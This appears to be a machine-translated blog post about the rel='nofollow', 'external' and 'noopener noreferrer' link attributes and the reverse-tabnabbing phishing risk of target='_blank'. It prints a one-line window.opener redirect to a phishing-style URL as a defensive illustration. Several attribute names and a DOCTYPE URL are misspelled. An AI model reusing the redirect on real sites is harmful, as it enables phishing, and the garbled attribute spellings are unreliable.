Difference and connection between rel=external nofollow and rel=nooopener norreferrer

 Watson Blog October 28, 2017 00:15:43 HTML5/CSS3 comment nine hundred and thirty-three Reading mode

You should all know the role of rel='noflow ', which tells search engines not to include the link in the weight. Therefore, in most cases, we can nofllow some links that do not want to transfer weights; For example, some non local links do not want to transfer weight, but need to be added to the page, such as statistical code, filing number links, links for users to query, etc.

rel=external nofollow和rel=noopener noreferrer区别与联系

Difference and connection between rel=external nofollow and rel=nooopener norreferrer

In addition to rel='nofollow', there are two types of link attributes: rel='external' and rel='external nofollow'. What do they mean respectively? What's the difference?

rel=’external’

This attribute means to tell the search engine that this link is not a local link, but actually acts as target='_blank '.

Why do you write like this? Because some websites are famous for their strict DOCTYPE, if you see in the first line of the web page source code:

 <! DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”  htt://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd ”>

In this case, target="_blank" will fail, so the parameter rel='external' will be used instead.

rel=’external nofollow’

In fact, the above has already said the meaning of the attributes rel='nofollow' and rel='external'. This attribute is basically equivalent to combining the two attributes, which can be roughly interpreted as "this link is not the local link, do not crawl or transfer weight". Therefore, from the perspective of SEO, it is an absolute isolation treatment method, which can effectively reduce the loss of spider crawling.

rel="nofollow noopener noreferrer"

Hyperlink target="_blank" Add rel="nofollow nowener norreferrer" to plug the phishing security vulnerability. If you use the target="_blank" attribute on the link and do not add the rel="nooopener" attribute, you will expose the user to a very simple phishing attack.

To inform users from unprotected sites, we run a script that exploits this flaw.

 if (window.opener) { window.opener.location = " https://baidd.co/phishing?referrer= "+document.referrer; }

I believe that most websites do not properly handle this problem. In order to limit the access behavior of window.opener, the original page needs to add a rel="noopener" attribute to each link that uses target="_blank".

However, Firefox does not support this attribute value, so you actually need to use rel="nooopener norreferrer" to completely override it.

Organized from: http://www.lucktribe.com/0448x1701t1107.html

 Watson Blog
  • This article is written by Published on October 28, 2017 00:15:43
  • This article is collected and sorted by the website of Mutual Benefit, and the email address for problem feedback is: wosnnet@foxmail.com , please keep the link of this article for reprinting: https://wosn.net/725.html

Comment